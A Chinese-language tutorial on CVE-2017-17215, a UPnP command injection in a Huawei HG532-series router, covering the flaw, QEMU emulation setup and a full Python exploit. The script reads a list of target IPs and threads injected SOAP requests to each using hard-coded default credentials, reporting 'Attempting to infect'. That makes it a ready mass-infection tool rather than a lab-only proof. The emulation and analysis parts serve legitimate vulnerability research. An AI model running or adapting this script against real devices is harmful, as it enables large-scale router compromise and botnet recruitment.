华为路由器 H532G 漏洞分析
字数 656 2025-08-27 12:33:48
华为路由器H532G漏洞分析与复现教程
漏洞概述
本教程详细分析华为路由器H532G中存在的UPnP服务命令注入漏洞(CVE-2017-17215),并提供完整的复现环境搭建方法和利用过程。
漏洞原理
漏洞存在于UPnP服务的37215端口,是一个典型的命令注入漏洞:
- 漏洞位置:
./bin/upnp程序中的0x0040749c地址处 - 漏洞类型:sprintf拼接后直接调用system执行的命令注入
- 注入点:通过控制
NewStatusURL参数,使用分号(;)闭合前面命令来执行任意命令
环境搭建
准备工作
-
下载必要的文件:
-
设置虚拟网卡:
sudo tunctl -t tap0 -u `whoami`
sudo ifconfig tap0 192.168.1.2/24
启动QEMU虚拟机
sudo qemu-system-mips -M malta -kernel vmlinux-2.6.32-5-4kc-malta \
-hda debian_squeeze_mips_standard.qcow2 \
-append "root=/dev/sda1 console=tty0" -nographic \
-net nic -net tap,ifname=br0,script=no,downscript=no
配置路由器环境
- 进入虚拟机后挂载必要目录:
mount -o bind /dev ./squashfs-root/dev/
mount -t proc /proc/ ./squashfs-root/proc/
chroot squashfs-root sh
- 设置网络:
ifconfig eth0 192.168.1.1/24
- 启动服务:
./bin/upnp
./bin/mic & # 注意需要使用&在后台运行或通过SSH运行
- 修复网络问题(如出现):
ifconfig br0 192.168.1.3/24
ifconfig eth0 192.168.1.1/24
漏洞利用
利用脚本
#!/usr/bin/python
import threading, sys, time, random, socket, re, os, struct, array, requests
from requests.auth import HTTPDigestAuth
ips = open(sys.argv[1], "r").readlines()
cmd = "" # 填入要执行的MIPS架构命令(如SSHD)
rm = """<?xml version=\"1.0\" ?>
<s:Envelope xmlns:s=\"http://schemas.xmlsoap.org/soap/envelope/\" s:encodingStyle=\"http://schemas.xmlsoap.org/soap/encoding/\">
<s:Body><u:Upgrade xmlns:u=\"urn:schemas-upnp-org:service:WANPPPConnection:1\">
<NewStatusURL>$(""" + cmd + """)</NewStatusURL>
<NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL>
</u:Upgrade>
</s:Body>
</s:Envelope>"""
class exploit(threading.Thread):
def __init__ (self, ip):
threading.Thread.__init__(self)
self.ip = str(ip).rstrip('\n')
def run(self):
try:
url = "http://" + self.ip + ":37215/ctrlt/DeviceUpgrade_1"
requests.post(url, timeout=5, auth=HTTPDigestAuth('dslf-config', 'admin'), data=rm)
print "[SOAP] Attempting to infect " + self.ip
except Exception as e:
pass
for ip in ips:
try:
n = exploit(ip)
n.start()
time.sleep(0.03)
except:
pass
利用步骤
- 准备目标IP列表文件
- 修改脚本中的
cmd变量为要执行的命令 - 运行脚本:
python exploit.py iplist.txt
注意事项
- 必须使用QEMU 5.4内核版本运行32位MIPS程序,否则会报"非法指令"错误
mic服务运行时可能会抢占eth0的IP,需要手动重新配置- 建议通过SSH连接虚拟机来运行
mic服务,避免控制台被占用